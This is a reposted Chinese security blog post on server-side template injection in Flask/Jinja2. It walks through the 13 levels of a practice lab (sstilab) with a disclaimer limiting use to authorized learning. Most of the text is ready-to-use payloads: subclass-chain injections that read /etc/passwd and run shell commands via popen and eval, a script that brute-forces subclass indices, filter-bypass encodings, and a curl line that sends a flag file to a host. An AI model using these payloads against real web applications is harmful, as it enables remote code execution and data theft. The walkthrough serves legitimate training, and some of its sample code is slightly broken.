flask的SSTI注入
2023-3-16 12:31:18 Author: 白帽子左一(查看原文) 阅读量:14 收藏

扫码领资料

获网安教程

免费&进群

写过很多的SSTI的题,但是一直没有总结过,最近也算是忙,这次,是稍微写写关于SSTI的东西,以后复习了可以好看看,也不至于每次都拿别人的payload

关于flask的SSTI注入,我们在了解他的注入原理之前,我们先看看flask框架是怎么使用的。

flask基础

route装饰器路由

@app.route('/')

使用route()装饰器告诉Flask 什么样的URL能触发函数。一个路由绑定一个函数。

例如

from flask import flask 
app = Flask(__name__)
@app.route('/')
def test()"
return 123
@app.route('/index/')
def hello_word():
return 'hello word'
if __name__ == '__main__':
app.run(port=5000)

访问 http://127.0.0.1:5000/会返回123,但是 访问http://127.0.0.1:5000/index则会返回hello word

在用@app.route('/')的时候,在之前需要定义app = Flask(__name__)不然会报错

还可设置动态网址

@app.route("/<username>")
def hello_user(username):

return "user:%s"%username


模板渲染方法

flask渲染方法有render_template和render_template_string两种,我们需要做的就是,将我们想渲染的值传入模板的变量里

render_template() 是用来渲染一个指定的文件的。

render_template_string则是用来渲染一个字符串的。

这个时候我们就需要了解一下flask的目录结构了

├── app.py  
├── static
│ └── style.css
└── templates
└── index.html

其中,static和templates都是需要自己新建的。其中templates目录里的index.html就是所谓的模板

我们写一个index.html

<html>
<head>
<title>{{title}}</title>
</head>
<body>
<h1>Hello, {{name}}!</h1>
</body>
</html>

这里面需要我们传入两个值,一个是title另一个是name。
我们在server.py里面进行渲染传值

from flask import Flask, request,render_template,render_template_string
app = Flask(__name__)
@app.route('/')
def index():
return render_template("index.html",title='Home',name='user')
if __name__ == '__main__':
app.run(port=5000)

在这里,我们手动传值的,所以是安全的

但是如果,我们传值的机会给用户

假如我们渲染的是一句话

from flask import Flask, request,render_template,render_template_string
@app.route('/test')
def test():
id = request.args.get('id')
html = '''
<h1>%s</h1>
'''%(id)
return render_template_string(html)
if __name__ == '__main__':
app.run(port=5000)

如果我们传入一个xss就会达到我们需要的效果

这就是传入的值被html直接运行回显,我们对代码进行微改。

@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)

再次传入xss就不能实现了

因为在传入相应的值得时候,会对值进行转义,这样就很能好多而避免了xss这些

所以SSTI注入形成的原因就是:开发人员因为懒惰,没有将渲染模板写成一个文件,而是直接用render_template_string来渲染,当然,如果有传值过程还行,但是如果没有传值过程,传入数据不经过转义,那可能就会导致SSTI注入。
那么漏洞原理就是因为不够严谨的构造代码导致的。

在写题前,先了解python的一些ssti的魔术方法。
__class__

用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 是类的一个内置属性,表示类的类型,返回<type ‘type’> ; 也是类的实例的属性,表示实例对象的类。

__bases__

用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组。注意是直接父类!!!
使用语法:类名.bases

__mro__也能获取基类

__subclasses__()
获取当前类的所有子类,即Object的子类

而我们注入就是通过拿到Object的子类,使用其中的一些函数,进行文件读取或者命令执行。
__init__
重载子类,获取子类初始化的属性。
__globals__
函数会以字典的形式返回当前位置的全部全局变量
就比如:
os._wrap_close.__init__.__globals__,可以获取到os中的一些函数,进行文件读取。

文件读取

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #将read() 修改为 write() 即为写文件

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件

命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
// os.popen() 方法用于从一个命令打开一个管道。返回一个文件描述符号为fd的打开的文件对象。
利用commands
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami')

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

os
.__init__.__globals__['popen']('type flag').read()
当然,这些子类都不是那么容易找到的,这里贴一个脚本
上文的59就是子类WarningMessage的用它替换下面的_wrap_close即可

for i in range(300):
data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'}
try:
response = requests.post(url,data=data)
#print(data)
#print(response.text)
if response.status_code == 200:
if "_wrap_close" in response.text:
print(i,"----->",response.text)
break
except :
pass

还有jinjia语法下的小脚本。

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('ls /').read()")}}{% endif %}{% endfor %}

//查看flag

{% for c in [].class.base.subclasses() %}
{% if c.name=='catch_warnings' %}
{{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()")}}
{% endif %}{% endfor %}

关于Flask SSTI 的实战题,其实有很多,但是大多都比较碎,知识点都不怎么集中,虽然可以学习到一些知识,但是并非系统的学习。但是我在一次偶然,发现了sstilab的靶场,是比较系统的可以学习到关于如何绕过过滤的一些知识。并且,新手小白,一般拿到题,都会有些迷茫,这里则会提供多种不同的解决思路。
下面放入每一关过滤的东西,以后要是写题遇到类似的,可以直接对比关卡,拿payload

level 1

法一

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}{% endif %}{% endfor %}

法二

师傅直接手搓脚本

import requests

url = "http://127.0.0.1:5000/level/1"

for i in range(300):
data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'}
try:
response = requests.post(url,data=data)
#print(data)
#print(response.text)
if response.status_code == 200:
if "_wrap_close" in response.text:
print(i,"----->",response.text)
break
except :
pass

找到我们使用的需要的子类,构造payload
"".__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()

level 2

过滤了{{}},可以使用{%%}代替,
但是
{%%},没有输出,所以需要我们print
{%print("".__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read())%}
法二
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{%print( c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()"))%}{% endif %}{% endfor %}

脚本微改:

data = {"code": '{%print("".__class__.__base__.__subclasses__()['+ str(i) +'])%}'}

level 3

无过滤,但是有回显
语句正确回显correct,语句不正确回显wrong

import requests

url = "http://192.168.0.108:5001/level/3"

for i in range(300):
try:
data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://127.0.0.1:5001/`cat flag`").read()}}'}
response = requests.post(url,data=data)
except :
pass

windows环境反引号没有用,所以本地抓取不到信息

  

level 4

过滤了中括号

getitem() 是python的一个魔法方法,当对列表使用时,传入整数返回列表对应索引的值;对字典使用时,传入字符串,返回字典相应键所对应的值.

{{"".__class__.__base__.__subclasses__()[139].__init__.__globals__.__getitem__('popen')('type flag').read()}}

level 5

过滤了了引号和双引号
request.args

在搭建flask时,大多数程序内部都会使用 flask的request来解析get请求.此出我们就可以通过构造带参数的url,配合 request.args 获取构造参数的内容来绕过限制

POST:
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}
GET:
a=popen&b=type flag

level 6

过滤了_
用过滤器绕过| attr()
关于过滤器;

  1. 过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数

  2. 可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器.

经常使用的的过滤器:

length() # 获取一个序列或者字典的长度并将其返回

int():# 将值转换为int类型;

float():# 将值转换为float类型;

lower():# 将字符串转换为小写;

upper():# 将字符串转换为大写;

reverse():# 反转字符串;

replace(value,old,new):# 将value中的old替换为new

list():# 将变量转换为列表类型;

string():# 将变量转换成字符串类型;

join():# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用

attr(): # 获取对象的属性

_的十六进制编码为\x5f

所以__class__可以写成\x5f\x5fclass\x5f\x5f

因为我们需要用十六进制编码_,而编码过后的_不能和.直接相连,这个时候就需要过滤器和_连接了,所以foo|attr("bar")=foo.bar
十六进制编码和Unicode编码都可以,以及base64编码和rot13等编码去绕过。
payload:

().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()
# 编码后
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(139)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('type flag')|attr("read")()}}
# base64 未绕过成功
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(139)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('dHlwZSBmbGFn'.decode('base64'))|attr("read")()}}
这里面展示一个unioncode编码 未绕过成功
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(139)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("dir")|attr("read")()}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(139)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("dir")|attr("read")()}}

level 7

过滤了.,可以使用[]绕过。

python语法除了可以使用点 .来访问对象属性外,还可以使用中括号[].同样也可以使用**getitem** ``{{()['__class__']['__base__']['__subclasses__']()[139]['__init__']['__globals__']['popen']('cat flag')['read']()}}

level 8

过滤了关键字

关键字过滤,最简单的办法就是字符串拼接,比如'class'可以写成'cla''ss'

其他方法

1编码
2在jinjia2语法中~可以进行连接,比如:{
%set a="__cla"%}{%set aa="ss__%}{{a~aa}}
3使用join过滤器.例如使用{%set a=dict(__cla=a,ss__=a)|join%}{{a}}会将__cla和ss__拼接在一起,或者{%set a=['__cla','ss__']|join%}{{a}}
4使用reverse过滤器.如{%set a="__ssalc__"|reverse%}{{a}}
5使用replace过滤器.如{%set a="__claee__"|replace("ee","ss")%}{{a}}
6使用python中的char()

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}

level 9

过滤数字

__subclasses__()[139],我们要塑造139这个数字
使用过滤器
|length,来塑造。
{%set a='aaaaaaaaaaaa'|length*'aaaaaaaaaaa'|length+'aaaaaaa'|length %}{{a}}
// 12*11+7=139

{% set a='aaaaaaaaaaaa'|length*'aaaaaaaaaaa'|length+'aaaaaaa'|length %}{{"".__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('type flag').read()}}


level 10

过滤了全局变量
没有了全局变量
{{config}}/{{self}}
均被ban掉,所以得重新寻找一个储存相关信息的变量
发现存在这么一个变量current_app是我们需要的,官网对
current_app提供了这么一句说明

应用上下文会在必要时被创建和销毁。它不会在线程间移动,并且也不会在不同的请求之间共享。正因为如此,它是一个存储数据库连接信息或是别的东西的最佳位置。

payload:
{{url_for.__globals__['current_app'].config}} {{get_flashed_messages.__globals__['current_app'].config}}
拿到{{config}}

level 11

过滤了'\'', '"', '+', 'request', '.', '[', ']'
过滤的[]可以通过__getitem__绕过,.可以通过attr绕过,' "可以通过request构造参数代替,但是request被ban了
所以关键就是如何构造
' "

在Level 9 bypass keyword 的扩展中,使用过滤器dict()|join构造关键子的过程中没有出现' ",可以使用这种办法绕过.

{%set a=dict(__cla=a,ss__=b)|join%}{{()|attr(a)}}

但是,这里的弊端就是构造命令 cat flag的时候,空格无法识别,所以要如何绕过空格呢?

师傅的思路是这样的:

通过以下构造可以得到字符串,举个例,可以发现输出的字符串中存在空格、部分数字、<以及部分字母.利用过滤器list将其变为列表类型再配合使用索引,就能得到我们想要的.

{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}

本地演示一下


当使用urlencode的时候还会出现%,当其被过滤的时候可以使用。
构造payload

原型payload:
().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()

构造:
{%set a=dict(__cla=a,ss__=b)|join %}# __class__
{%set b=dict(__bas=a,e__=b)|join %}# __base__
{%set c=dict(__subcla=a,sses__=b)|join %}# __subclasses__
{%set d=dict(__ge=a,titem__=a)|join%}# __getitem__
{%set e=dict(__in=a,it__=b)|join %}# __init__
{%set f=dict(__glo=a,bals__=b)|join %}# __globals__
{%set g=dict(pop=a,en=b)|join %}# popen
{%set h=self|string|attr(d)(18)%}# 空格
{%set i=(dict(type=abc)|join,h,dict(flag=b)|join)|join%}# type flag
{%set j=dict(read=a)|join%}# read
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(139)|attr(e)|attr(f)|attr(d)(g)(i)|attr(j)()}}# 拼接

level 12

和上一关的区别就是,没有过滤request,但是过滤了数字。可以通过request.args传参绕过。

不过request|attr("args")|attr("a")并不能获取到通过get传递过来的a参数,所以这里得跟换为request.args.get()来获取get参数

但是一个个构造太长了
所以从羽师傅那里找到一条简短的构造链
{{x.__init__.__globals__['__builtins__']}}

构造payload

get:
?z=__init__&zz=__globals__&zzz=__builtins__&zzzz=eval&zzzzz=__import__('os').popen('type flag').read()
post:
{%set a={}|select|string|list%}
{%set b=dict(pop=a)|join%}
{%set c=a|attr(b)(self|string|length)%}
{%set d=(c,c,dict(getitem=a)|join,c,c)|join%}
{%set e=dict(args=a)|join%}
{%set f=dict(get=a)|join%}
{%set g=dict(z=a)|join%}
{%set gg=dict(zz=a)|join%}
{%set ggg=dict(zzz=a)|join%}
{%set gggg=dict(zzzz=a)|join%}
{%set ggggg=dict(zzzzz=a)|join%}
{{x|attr(request|attr(e)|attr(f)(g))|attr(request|attr(e)|attr(f)(gg))|attr(d)(request|attr(e)|attr(f)(ggg))|attr(d)(request|attr(e)|attr(f)(gggg))(request|attr(e)|attr(f)(ggggg))}}

level 13

比上面过滤的更多关键字,但是我们依然可以使用上一关的思路
payload

{%set a={}|select|string|list%}
{%set ax={}|select|string|list%}
{%set aa=dict(ssss=a)|join%}
{%set aaa=dict(ssssss=a)|join%}
{%set aaaa=dict(ss=a)|join%}
{%set aaaaa=dict(sssss=a)|join%}
{%set b=dict(pop=a)|join%} # pop
{%set c=a|attr(b)(aa|length*aaa|length)%} # _
{%set cc=a|attr(b)(aaaa|length*aaaaa|length)%} # 空格
{%set d=(c,c,dict(get=a,item=a)|join,c,c)|join%} # __getitem__
{%set dd=(c,c,dict(in=a,it=a)|join,c,c)|join%} # __init__
{%set ddd=(c,c,dict(glob=a,als=a)|join,c,c)|join%} # __globals__
{%set dddd=(c,c,dict(buil=a,tins=a)|join,c,c)|join%} # __builtins__
{%set e=(c,c,dict(impo=a,rt=a)|join,c,c)|join%} # __import__
{%set ee=(dict(o=a,s=a)|join)|join%} # os
{%set eee=(dict(po=a,pen=a)|join)|join%} # popen
{%set eeee=(dict(type=a)|join,cc,dict(flag=a)|join)|join%} # type flag
{%set f=(dict(rea=a,d=a)|join)|join%} # read
{{x|attr(dd)|attr(ddd)|attr(d)(dddd)|attr(d)(e)(ee)|attr(eee)(eeee)|attr(f)()}}

这次总算是把flask框架的SSTI注入给弄的差不多了,以后遇见了也不会手忙脚乱了。继续加油吧!!!

https://xz.aliyun.com/t/10394#toc-7
https://www.yuque.com/docs/share/d300c853-152b-4d65-9161-a5645f1dd77c?#Level-1
https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3
https://blog.csdn.net/qq_45521281/article/details/106243544
https://blog.csdn.net/qq_45521281/article/details/106252560
http://www.javashuo.com/article/p-psmjcwyp-dg.html
https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3

作者:先知社区【w0w】转载自:https://xz.aliyun.com/t/12181

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247593067&idx=1&sn=7f6df613759ac0a9ea0f517ef4a28c1b&chksm=ebeb2546dc9cac50a271d37eaa8fed6ff947457490dfae94a42732dae3494332d01217268d65#rd
如有侵权请联系:admin#unsafe.sh